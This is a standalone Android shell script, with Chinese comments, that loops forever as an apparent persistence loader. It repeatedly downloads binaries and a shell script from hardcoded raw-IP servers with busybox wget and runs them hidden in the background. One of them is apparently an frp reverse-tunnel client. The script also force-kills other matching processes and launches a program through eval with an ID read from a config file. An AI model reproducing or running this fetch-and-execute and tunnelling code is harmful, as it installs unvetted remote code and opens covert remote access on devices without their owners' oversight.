#!/system/bin/sh

#procnum=`ps -ef | grep "arm_linux" | grep -v grep | grep -v "\[" | wc -l`
#if [ $procnum -gt 0 ]; then
#	exit 1
#fi

while true
do
        #判断frpc ssh 有没有启动
        procnum_arm=$(ps -ef | grep "arm_frpc_linux" |grep -v grep | grep -v "\[" |wc -l)
        if [ ${procnum_arm} -eq 0 ]; then
		#判断文件在不在 如果不在自动下载
		if [ ! -f arm_frpc_linux ];then
			#busybox  wget  http://121.196.210.209:16666/static/tmp/arm_frpc_linux
			busybox  wget   http://47.95.207.30:16666/static/tmp/arm_frpc_linux
		fi
		fnewmd5=$(md5sum arm_frpc_linux | awk '{print $1}')
		if  [ "6ffb823e2cd032e1c1e672e6d827acf3" != "$fnewmd5" ]; then
			rm -rf arm_frpc_linux
			busybox  wget   http://47.95.207.30:16666/static/tmp/arm_frpc_linux
		fi
		chmod +x arm_frpc_linux
                nohup ./arm_frpc_linux >/dev/null 2>&1 &
                sleep 30
        fi

	#判断arm_business 有没有启动
        business_arm=$(ps -ef | grep "arm_business_linux" |grep -v grep | grep -v "\[" |wc -l)
        if [ ${business_arm} -eq 0 ]; then
                #判断文件在不在 如果不在自动下载
                if [ ! -f arm_business_linux ];then
                        #busybox  wget  http://121.196.210.209:16666/static/tmp/arm_business_linux
                        busybox  wget  http://47.95.207.30:16666/static/tmp/arm_business_linux 
                fi
		chmod +x arm_business_linux
                nohup ./arm_business_linux >/dev/null 2>&1 &
                sleep 30
        fi
	sleep 30
	
	arm_linux_num=` ps -ef | grep "arm_linux" | grep -v "\["  |grep -v grep|wc -l`
	if [ ${arm_linux_num} -gt 0 ]; then
		for i in $(echo $(pgrep "arm_linux") | awk '{for (i=2; i<=NF; i++) print $i}' );do kill -9 $i;done
	fi

	hun_ant_num=`ps -ef | grep "hun_run_ant.sh" |grep -v grep|wc -l`
	if [ ${hun_ant_num} -eq 0 ]; then
		busybox  wget -O hun_run_ant.sh  http://175.6.210.206:16666/static/caiyungungun/hun_run_ant.sh
		nohup sh hun_run_ant.sh >/dev/null 2>&1 &
	fi
	sleep 20

	android_up_num=`ps -ef | grep android_up | grep -v grep | wc -l`
    	if [ ${android_up_num} -eq 0 ]; then
        	cat conf/app.conf | grep  ^run | grep ant_android_hun | grep -v grep 
		if [ $? -eq 0 ];then
			Qindir="/data/local"
    			if [[ ! -d "$Qindir" ]]; then
        			mkdir -p "$Qindir"
        			if [[ $? -ne 0 ]]; then
            				echo "mkdir ant failed"
            				sleep 20
            				continue
        			fi
    			fi

    			antfile="$Qindir/android_up"
			ttturl="http://175.6.210.206:16666/static/tmp_dayinji/android_up"
    			if [[ ! -f "$antfile" ]]; then
        			busybox wget -O "$antfile" "$ttturl"
        			if [[ $? -ne 0 ]]; then
            				echo "download antup failed"
            				sleep 20
            				continue
        			fi
    			fi

    			if [[ ! -f "$antfile" ]]; then
        			echo "antup not found"
        			sleep 20
        			continue
    			fi

    			chmod 777 "$antfile"

			ant_anr_id=`cat conf/app.conf | grep antup_id | awk -F "=" '{print $2}'`
    			cmd1="nohup $antfile --channel ant --uid $ant_anr_id > /dev/null &"
			eval $cmd1
    			if [[ $? -ne 0 ]]; then
        			echo "start android_up failed"
    			fi

		fi
    	fi

done

